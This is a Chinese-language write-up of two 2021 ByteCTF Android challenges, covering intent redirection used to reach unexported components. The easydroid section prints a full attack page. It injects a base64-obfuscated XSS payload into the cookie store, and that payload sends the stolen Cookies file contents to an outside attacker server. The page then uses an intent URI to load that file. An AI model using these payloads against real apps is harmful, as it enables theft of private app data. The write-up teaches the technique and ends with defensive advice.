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由2021ByteCTF引出的intent重定向浅析
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2021-10-18 19:17
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由2021ByteCTF引出的intent重定向浅析
在此先感谢ByteCTF的赛前培训，感谢summer师傅的倾情讲解
Intent浅要概述
- Intent是Android程序中各组件之间进行交互的一种重要方式，它不仅可以指明当前组件想要执行的动作，还可以在不同组件之间传递数据。Intent一般可被用于启动活动、启动服务以及发送广播等场景。
- Intent是一种运行时绑定（runtime binding)机制，它能在程序运行的过程中连接两个不同的组件。通过Intent，你的程序可以向Android表达某种请求或者意愿，Android会根据意愿的内容选择适当的组件来响应。
Intent大致可以分为两种，显式Intent和隐式Intent。
- 显式Intent：直接设置目标组件的
ComponentName(目的组件)，用于一个应用内部的消息传递，比如启动另一个Activity或者一个services。
通过Intent的setComponent()和setClass()来制定目标组件的ComponentName。 - 隐式Intent：没有指定
ComponentName，而是通过指定一系列的action和category等信息，交由系统去分析，并找出合适的组件来响应。
同时Intent可以携带以下信息
component(组件)：目的组件
Component属性明确指定Intent的目标组件的类名称。如果 component这个属性有指定的话，将直接使用它指定的组件（显式Intent）。指定了这个属性以后，Intent的其它所有属性都是可选的。
Action(动作)：用来表现意图的行动
Action 是一个用户定义的字符串，用于描述一个 Android 应用程序组件，一个 Intent Filter 可以包含多个 Action。在 AndroidManifest.xml 的Activity 定义时，可以在其
<intent-filter >节点指定一个Action列表用于标识 Activity 所能接受的“动作”。category(类别)：用来表现动作的类别
该属性也是通过作为
<intent-filter>的子元素来声明的。如果没有指定category，将会使用默认的"android.intent.category.DEFAULT"。只有当<action>和<category>中的内容同时能够匹配上Intent中指定的action和category时，这个活动才能响应Intent。intent可以通过
addCategory()方法指定多个category，只有同时满足时，才能匹配成功。data(数据)：表示与动作要操纵的数据
Data是用一个uri对象来表示的。
<data>标签可配置以下属性android:scheme。用于指定数据的协议部分，如上例中的http部分。android:host。用于指定数据的主机名部分，如上例中的www.baidu.com部分。android:port。用于指定数据的端口部分，一般紧随在主机名之后。android:path。用于指定主机名和端口之后的部分，如一段网址中跟在域名之后的内容。android:mimeType。用于指定可以处理的数据类型，允许使用通配符的方式进行指定。
只有
<data>标签中指定的内容和Intent中携带的Data完全一致时，当前活动才能够响应该Intent。type(数据类型)：指定Data属性的数据类型
如果Intent对象中既包含Uri又包含Type，那么，在
<intent-filter>中也必须二者都包含才能通过测试。Type属性用于明确指定Data属性的数据类型或MIME类型，但是通常来说，当Intent不指定Data属性时，Type属性才会起作用，否则Android系统将会根据Data属性值来分析数据的类型，所以无需指定Type属性。
data和type属性一般只需要一个，通过setData方法会把type属性设置为null，相反设置setType方法会把data设置为null，如果想要两个属性同时设置，要使用Intent.setDataAndType()方法。
extras(扩展信息)：扩展信息
提供附加数据。使用
putExtra()方法来设置额外的key-value数据Flags(标志位)：期望意图的运行模式
用来指示系统如何启动一个Activity（比如：这个Activity属于哪个Activity栈）和Activity启动后如何处理它(比如：是否把这个Activity归为最近的活动列表中)。
babydroid
环境 API30_x86
漏洞分析
服务源码文件server.py
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- h13~h15：进行了一个sha256的验证，必须满足
sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True才能继续。其中prefix为random_hex(6)随机的字符；proof为用户输入的字符串。可以每次爆破得到正确的结果来输入。 - h17~h22：用户输入一个url地址。server会将该文件下载下来，同时检查是否为apk。
- h24~h26：新建一个安卓模拟器
- h28：将含有漏洞的APK安装
- h29：启动受害APK
h30~h31：打开服务器中保存的flag文件。然后通过adb命令发送一个广播，将flag传输给
.FlagReceiver。其中命令如下1shell su root am broadcast-W-a com.bytectf.SET_FLAG-n com.bytectf.babydroid/.FlagReceiver-e flag [flag]h34~h35：安装attack apk并运行
apk分析
AndroidManifest.xml
可以看到注册了两个activity，一个receiver，还有一个FileProvider。其中两个activity都是可导出（可被外部组件访问）的。
MainActivity
MainActivity中没有做操作，只是载入布局来显示
Vulnerable(易受攻击的)
1 2 3 4 | protected void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); this.startActivity(this.getIntent().getParcelableExtra("intent")); } |
该Activity通过getIntent()首先获得intent对象，之后使用getParcelableExtra("intent")，获取反序列化后名为"intent"的extra数据，并使用startActivity()来启动该intent。
FlagReceiver
1 2 3 4 5 6 7 8 9 10 | public void onReceive(Context context,Intent intent){ String flag; String str = "flag"; if ((flag = intent.getStringExtra(str)) != null) { File file = new File(context.getFilesDir(), str); this.writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } return;} |
该广播接收者从intent中取到一个key为"flag"的String类型数据，之后将其写出到/data/data/[package_name]/files/flag文件中。对应了server.py中传入flag的逻辑。我们想要获取的flag也就是这个路径。
FileProvider
FileProvider | Android Developers (google.cn)
FileProvider是ContentProvider的一个特殊的子类，通过使用content://uri来代替file://uri，来促进安全的共享与app关联的文件。
content URI允许临时的授予该文件的读写权限。所以当创建一个包含文件content URI的时候，（如果需要）可以通过Intent.setFlags()添加相应的权限。同时权限会通过Intent传递给接收的activity（或者服务）
在创建FileProvider时，需提供一个xml文件来指定该provider提供的文件。如res/xml/file_paths.xml，其中提供了相应的映射路径以及别名。同时需要在AndroidManifest.xml中的FileProvider对应的节点内定义<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" >来声明。（其中resource属性内为提供的xml文件）
该APK的指定文件xml中定义如下
1 2 3 4 | <?xml version="1.0" encoding="utf-8"?><paths> <root-path name="root" path="" /></paths> |
<root-path>节点：代表设备的根目录另外的节点
name属性：给该目录起的别名，用于隐藏路径path属性：临时授权访问的路径（该目录下的子目录
则该APK提供的FileProvider提供了根目录，通过root/别名来访问
则如果我们想访问flag的存储路径，实际构造的部分uri应该为root/data/data/[package_name]/files/flag。
利用思路
FlagURI
题目将flag存储到了/data/data/[package_name]/files/flag文件。同时提供了一个FileProvider，则思路是通过FileProvider来将该文件读取。
首先需要构造一个content URI。格式为
1 | content://[authorities]/[name]/[file_relative_path] |
则构造的URI为
1 | content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag |
获得权限
由于该FileProvider的exported属性（必须）设置为false。导致我们无法在外部组件中直接使用该provider。
但是该apk提供了一个VulnerableActivity，并且（不做任何校验的）将接收到的intent内中的key为"intent"的extra数据当作intent，并使用startActivity()来启动。这样就对启动的activity进行了临时的授权，可以访问该应用中未导出的组件。
因此，我们可以设置一个intent来启动Vulnerable，同时给该Intent附加一个key为intent的数据，该数据包含着构造好的恶意intent。
当Vulnerable被启动时，就会找到intent的数据，我们在intent中附上我们的attack APK的Activity，同时附加上flag的contentURI。
之后转到我们自己的Activity时，就可以任意读写目标应用内部文件。
Attack代码实现
AttackAPP
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获取到flag后设置到TextView上，同时通过sendData()方法使用get或post请求将数据回显到自己搭建的服务。该方法不表。
同时还需要声明网络权限
1 | <uses-permission android:name="android.permission.INTERNET" /> |
在API28+的应用默认禁止使用明文网络流量(flase)，因此还需要在<application>节点中设置属性
1 | android:usesCleartextTraffic="true" |
需要注意一点的是attackAPP是由server.py来启动的，内定义了PackageName应为"com.bytectf.pwnbabydroid"
本地实现
首先输入命令，来生成一个flag
1 | adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag ByteCTF{testFlagxxxxx} |
然后安装恶意apk，运行
效果图如下，可见是由Vulnerable来启动的MainActivity
easydroid
环境 API27_x86
漏洞分析
服务源码文件server.py
该server文件与上题的server文件大体相同
修改了环境为API27
修改了attackAPP和targetAPP的包名
apk分析
AndroidManifest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Easydroid" android:usesCleartextTraffic="true"> <activity android:exported="true" android:name="com.bytectf.easydroid.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:exported="false" android:name="com.bytectf.easydroid.TestActivity"/> <receiver android:exported="false" android:name="com.bytectf.easydroid.FlagReceiver"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> </intent-filter> </receiver></application> |
两个activity，一个receiver，其中只有MainActivity是可导出的。
FlagReceiver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | public class FlagReceiver extends BroadcastReceiver { @Override // android.content.BroadcastReceiver public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if(flag != null) { try { String v0_1 = Base64.encodeToString(flag.getBytes("UTF-8"), 0); CookieManager.getInstance().setCookie("https://tiktok.com/", "flag=" + v0_1); Log.e("FlagReceiver", "received flag."); } catch(UnsupportedEncodingException e) { e.printStackTrace(); } return; } }} |
该文件接收intent中key为"flag"的数据value，然后将其通过setCookie设置到cookie文件。
而cookie文件位于/data/data/com.bytectf.easydroid/app_webview/Cookies(API 27)文件中
我们如果想要获取flag，只需要获取该Cookie文件就可以了。
MainActivity
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这个Activity比较重要。
获取了intent，并且读取了intent携带的data数据。如果data数据为空，则 设置data为一个普通的Uri，并不执行其他操作
如果getAuthority()得到的字符串中包括"toutiao.com"、scheme为"http"。则会使用webView来加载该链接。
而shouldOverrideUrlLoading()方法会在WebView中每次发起跳转的时候被回调。回调的时候该方法判断scheme是否等于"intent"，如果等于"intent"，则使用startActivity()方法启动该intent相应的组件，该方法第二个参数flags代表着Uri被解析格式规范
TestActivity
该activity设置成未导出状态，我们没办法直接访问。但是该activity没有对intent进行任何校验，就直接使用WebView来加载intent携带的key为"url"的数据了。
我想我们的目标就是它了。
1 2 3 4 5 6 7 8 | protected void onCreate(Bundle arg5) { super.onCreate(arg5); String url = this.getIntent().getStringExtra("url"); WebView webView = new WebView(this.getApplicationContext()); this.setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(url);} |
利用思路
我们的最终目标是通过TestActivity加载Cookie文件，并通过某种方式得到回显。
Intent重定向
因为MainActivity是可导出的，我们可以给MainActivity传递一个intent，同时绕过authority和scheme的验证，使其可以访问到构造好的evil网址。
则需要构造一个Uri，我选择构造的为"http://app.toutiao.com@[evil_page]"，这样便可以访问到evil_page
同时evil_page内通过使用location.href添加一个Intent的Uri。当访问时，shouldOverrideUrlLoading()方法就会被回调。并且解析该Uri作为intent并使用startActivity()来启动。
我们只需让该intent携带一个"url"的数据，并且明确指向TestActivity。这样当TestActivity接收到后，就会将url来加载。
WebView窃取Cookies文件
我们的目标是获得Cookie文件，如果将Cookies文件的路径放到"url"的数据中，便可以将Cookies当作html解释，但只是将Cookies文件使用WebView加载还是不够，因为我们需要将Cookies文件中的内容传输回来。
于是就可以在evil_page中使用document.cookie=设置一个cookie，然后里面填写恶意的JavaScript代码将数据发送到接收方。当将Cookie当做html解释时，恶意JavaScript代码就会执行。
还有一个点是Cookies文件没有后缀名，我们还需要创建一个.html的符号链接来指向Cookies文件，这样才能实现WebView加载Cookies文件。
Attack代码实现
AttackAPP
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evil_page
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>evil</title></head><body><h1>injected cookie with xss</h1><script> document.cookie = "sendData = '<img src=\"evil\" onerror=\"eval(atob('dmFyIGJhc2VVcmwgPSAiaHR0cDovLzEwLjcuODkuMTA4L015VGVzdC9SZWNlaXZlU2VydmxldD8iCm5ldyBJbWFnZSgpLnNyYyA9IGJhc2VVcmwgKyAiY29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))\">'" var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?" new Image().src = baseUrl + "cookie=" + encodeURIComponent("open evil page."); setTimeout(function() { location.href = 'intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2Fdata%2Fuser%2F0%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end'; }, 40000);</script></body></html> |
h10：添加了一个cookie，名字为
"sendData"，相应的值是一个<img>标签，src属性是一个不存在的路径，因此<img>标签在装载文档或图像的过程中会发生错误，就会执行onerror事件。使用eval()来执行js代码文本，atob()将文本进行base64解密得到真实的代码。其中base64的代码源为
12var baseUrl="http://10.7.89.108/MyTest/ReceiveServlet?"new Image().src=baseUrl+"cookie="+encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);也就是将该页面全部内容作为参数发送到接收方
h11~h12：只是简单的通知一下接收方用户打开了该页面（可以去掉
h13~h15：使用setTimeout延时40s再跳转。因为含有恶意js代码的cookie的写入需要一定时间
等待好后会跳转前往 构造好的intent的Uri。之后便会被
shouldOverrideUrlLoading()回调函数捕获，并通过startActivity()来启动TestActivity
本地实现
输入命令让FlagReceiver接收到flag并将其存放在cookie中
1 | adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.easydroid/.FlagReceiver -e flag ByteCTF{testFlag_x_easydroid} |
此时可以看到
预设置的flag已经存储在/data/user/0/com.bytectf.easydroid/app_webview/Cookies中
实现效果图（中间删除了部分重复帧）
可见已经成功获取到了cookie文件。
最后
通过上述两题的例子，可见我们虽然没有相应权限，但都通过导出组件对Intent重定向不完善的校验产生的漏洞，间接访问到了未导出的组件。
如何防范：
- 应严格控制组件的可导出权限，没必要导出的组件添加
android:exported="false"属性 - 在进行Intent重定向时，应对Intent进行严格的校验。
- 添加代码混淆，提高攻击成本
个人的一些浅见，文中如有错误，敬请斧正。
再次感谢summer师傅的倾情讲解。
参考资料：
[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班
